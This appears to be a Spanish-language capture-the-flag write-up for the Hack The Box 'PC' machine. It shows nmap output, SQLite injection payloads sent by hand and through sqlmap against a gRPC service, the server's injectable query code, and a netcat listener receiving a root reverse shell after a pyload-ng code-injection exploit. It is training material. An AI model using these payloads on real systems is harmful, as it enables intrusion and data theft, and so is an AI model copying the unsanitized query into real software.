En PC identificamos una vulnerabilidad de SQLi en una aplicacion gRPC lo cual nos permitio obtener credenciales de acceso por SSH. Finalmente escalamos privilegios tras encontrar y explotar una vulnerabilidad en Pyload que permite la ejecucion de codigo python.
# Nmap 7.93 scan initiated Mon May 22 18:15:25 2023 as: nmap -p22,50051 -Pn -sV -sC -oN nmap_scan 10.129.94.235Nmap scan report for 10.129.94.235
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|3072 91bf44edea1e3224301f532cea71e5ef (RSA)|256 8486a6e204abdff71d456ccf395809de (ECDSA)|_ 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.93%I=7%D=5/22%Time=646BE984%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 22 18:15:46 2023 -- 1 IP address (1 host up) scanned in 20.94 seconds
gRPC
Del puerto 50051 no obtuvimos informacion por nmap, es por ello que intentamos realizar una conexion con netca y ver que informacion muestra.
1
2
3
4
5
π ~/htb/pc ❯ nc 10.129.69.40 50051 -vvv
10.129.69.40: inverse host lookup failed: Unknown host
(UNKNOWN)[10.129.69.40]50051(?) open
???@Did not receive HTTP/2 settings before handshake timeout sent 0, rcvd 119 π ~/htb/pc ❯
Al realizar una conexion el unico mensaje que nos muestra es de error, tras investigar, encontramos que se trata de gRPC y encontramos el mensaje en el repositorio de github.
Tools
Investigamos herramientas o comandos que nos permitan realizar una conexion por este ‘servicio’, y encontramos una lista de herramientas, cli y GUI.
gRPC GUI
Utilizamos grpcurl en este caso una version GUI. Simplemente ralizamos la conexion con el servidor en el puerto 50051, y este nos muestra una url de un sitio interactivo.
1
2
π ~/htb/pc ❯ grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:44115/
Al inicio observamos dos opciones: servicio y sus metodos.
El sitio presenta cuatro pestañas:
Request From: es donde se define la solicitud.
Raw Request JSON: es similar a la anterior pero en formato JSON.
Response: en esta pestaña se muestra la respuesta de la solicitud realizada.
History: se muestran todas las solicitudes realizadas.
User Authentication
Creamos un usuario, marcando ambas casillas, usuario y contraseña.
La respuesta muestra que fue exitosa.
Intentamos ingresar con las credenciales, y vemos que en la respuesta se muestra un tokne JWT.
Si intentamos realizar una consulta sobre id en el metodo getInfo, espera por un token el cual ya nos fue proporcionado.
Agregamos el token en Metadata y realizamos la consulta a nuestro ID.
La respuesta unicamente muestra un mensaje.
1
2
3
{"message": "Will update soon."}
El ID 1 nos muestra un mensaje diferente.
1
2
3
{"message": "The admin is working hard to fix the issues."}
Si aumentamos el numero de ID unicamente obtenemos un error, lo que podria significar que no existen.
1
2
Unknown (2)Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable
SQLite Injection
El ID 13 no “existe” pero si pasamos un OR con un valor valido, nos retorna el mismo mensaje que el ID 1, al igual que con AND pero resultado contrario. Con ello posiblemente exista una vulnerabilidad de SQL Injection.
1
2
13 OR 1=11 AND 1=0
Intentamos con Union based injection, unicamente encontramos 1 columna.
1
2
3
4
5
6
7
8
9
# payload{"id":"1 union select null--"}# response{"message": "None"}
Identificamos que la base de datos es SQLite.
1
2
3
4
5
6
7
8
9
# payload{"id":"1 union select sqlite_version()--"}# response{"message": "3.31.1"}
SQLmap
Utilizamos sqlmap para realizar la inyeccion, guardando la solicitud y agregando un asterisco en donde queremos realizar la inyeccion, en este caso en el valor del ID. Es importante mencionar que la inyeccion la estamos realizando a traves de grpcui, por lo que este ultimo esta haciendo de “intermediario”.
π ~/htb/pc ❯ sqlmap -r request.req --batch --level 5 --risk 3 --dbs --dbms sqlite
___
__H__
___ ___["]_____ ___ ___ {1.7.2#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:13:56 /2023-06-14/
[16:13:56] [INFO] parsing HTTP request from 'request.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter '_csrf' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[16:13:57] [INFO] testing connection to the target URL
[16:13:57] [INFO] checking if the target is protected by some kind of WAF/IPS
[16:13:57] [INFO] testing if the target URL content is stable
[16:13:57] [INFO] target URL content is stable
[16:13:57] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[16:13:57] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[16:13:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[16:13:57] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[16:13:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:14:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[16:14:04] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
[16:14:04] [INFO] testing 'Generic inline queries'
[16:14:04] [INFO] testing 'SQLite inline queries'
[16:14:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[16:14:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[16:14:04] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[16:14:05] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[16:14:05] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'
[16:14:05] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query - comment)'
[16:14:05] [INFO] testing 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)'
[16:14:11] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)' injectable
[16:14:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:14:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:14:13] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[16:14:15] [INFO] target URL appears to be UNION injectable with 1 columns
[16:14:15] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (random number) - 1 to 20 columns' injectable
[16:14:15] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 134 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"-7069 OR 8599=8599"}]}
Type: time-based blind
Title: SQLite > 2.0 time-based blind - Parameter replace (heavy query)
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"(SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))"}]}
Type: UNION query
Title: Generic UNION query (random number) - 3 columns
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"-8429 UNION ALL SELECT CHAR(113,113,122,107,113)||CHAR(83,107,102,65,119,90,79,80,66,74,65,81,89,109,87,82,89,70,113,107,111,65,65,117,67,88,117,109,110,102,87,85,66,76,105,116,103,118,72,76)||CHAR(113,106,118,122,113)-- Yfmi"}]}
---
[16:14:15] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[16:14:15] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')
[16:14:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 16:14:15 /2023-06-14/
π ~/htb/pc ❯
Realizamos un ‘dump’ en ambas tablas, vemos un unico mensaje en messages.
1
2
3
4
5
6
7
8
Database: <current>
Table: messages
[1 entry]+----+----------------------------------------------+----------+
| id | message | username |+----+----------------------------------------------+----------+
|1| The admin is working hard to fix the issues. | admin |+----+----------------------------------------------+----------+
Y el codigo fuente del servicio RPC, observamos que el valor user_id en el metodo getInfo no tiene ningun tipo de ‘filtro’ por lo que es vulnerable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[...]classLogin(app_pb2_grpc.SimpleAppServicer):[...]asyncdefgetInfo(self,request,context):headers=dict(context.invocation_metadata())token=headers.get('token')user_id=middle.authorization(token)ifuser_idisTrue:try:result=cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]returnapp_pb2.getInfoResponse(message=f"{result}")exceptsqlite3.Erroraser:returnapp_pb2.getInfoResponse(message=er)returnapp_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")[...]
#!/usr/bin/env pythonimportasyncioimportloggingimportrandomimportgrpcfromgrpc_reflection.v1alphaimportreflectionimportapp_pb2importapp_pb2_grpcimportsqlite3importmiddlecon=sqlite3.connect("/opt/app/sqlite.db")cur=con.cursor()classLogin(app_pb2_grpc.SimpleAppServicer):asyncdefRegisterUser(self,request,context):username=request.usernamepassword=request.passwordiflen(username)<4orlen(password)<4:returnapp_pb2.RegisterUserResponse(message="username or password must be greater than 4")result=cur.execute('SELECT EXISTS(SELECT 1 FROM accounts WHERE username = ?)',(username,)).fetchone()[0]ifresult==0:cur.execute('INSERT INTO accounts values(?, ?)',(username,password))con.commit()returnapp_pb2.RegisterUserResponse(message=f'Account created for user {username}!')else:returnapp_pb2.RegisterUserResponse(message='User Already Exists!!')asyncdefLoginUser(self,request,context):username=request.usernamepassword=request.passwordresult=cur.execute('SELECT EXISTS(SELECT 1 FROM accounts WHERE username = ? and password = ? )',(username,password)).fetchone()[0]ifresult==1:# setting response headercontext.set_trailing_metadata((('token',f'{middle.token(username)}'),))rand_number=random.randint(1,900)#should match any primary or unique constraintcur.execute(f'''INSERT INTO messages VALUES({rand_number}, ? , "Will update soon.") ON CONFLICT (username)
DO UPDATE SET id = "{rand_number}", username = ?, message = "Will update soon."
''',(username,username))con.commit()returnapp_pb2.LoginUserResponse(message=f'Your id is {rand_number}.')else:returnapp_pb2.LoginUserResponse(message="Login unsuccessful")asyncdefgetInfo(self,request,context):headers=dict(context.invocation_metadata())token=headers.get('token')user_id=middle.authorization(token)ifuser_idisTrue:try:result=cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]returnapp_pb2.getInfoResponse(message=f"{result}")exceptsqlite3.Erroraser:returnapp_pb2.getInfoResponse(message=er)returnapp_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")asyncdefserve()->None:server=grpc.aio.server()app_pb2_grpc.add_SimpleAppServicer_to_server(Login(),server)SERVICE_NAMES=(app_pb2.DESCRIPTOR.services_by_name['SimpleApp'].full_name,reflection.SERVICE_NAME,)reflection.enable_server_reflection(SERVICE_NAMES,server)server.add_insecure_port('0.0.0.0:50051')awaitserver.start()awaitserver.wait_for_termination()if__name__=='__main__':logging.basicConfig()asyncio.run(serve())
Privesc
Pyload esta siendo ejecutado por root y al investigar este comando encontramos que existe una vulnerabilidad Code Injection in pyload-ng tambien nos presenta el PoC.
Con ello obtuvimos acceso como root y logramos la lectura de la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/pc ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
10.129.94.107: inverse host lookup failed: Unknown host
connect to [10.10.14.249] from (UNKNOWN)[10.129.94.107]53712bash: cannot set terminal process group (957): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# whoami;id;pwdwhoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root/.pyload/data
root@pc:~/.pyload/data# cd /root
cd /root
root@pc:~# cat root.txt
cat root.txt
0b4faf0d6f3e6a7cf34a62222940ced7
root@pc:~#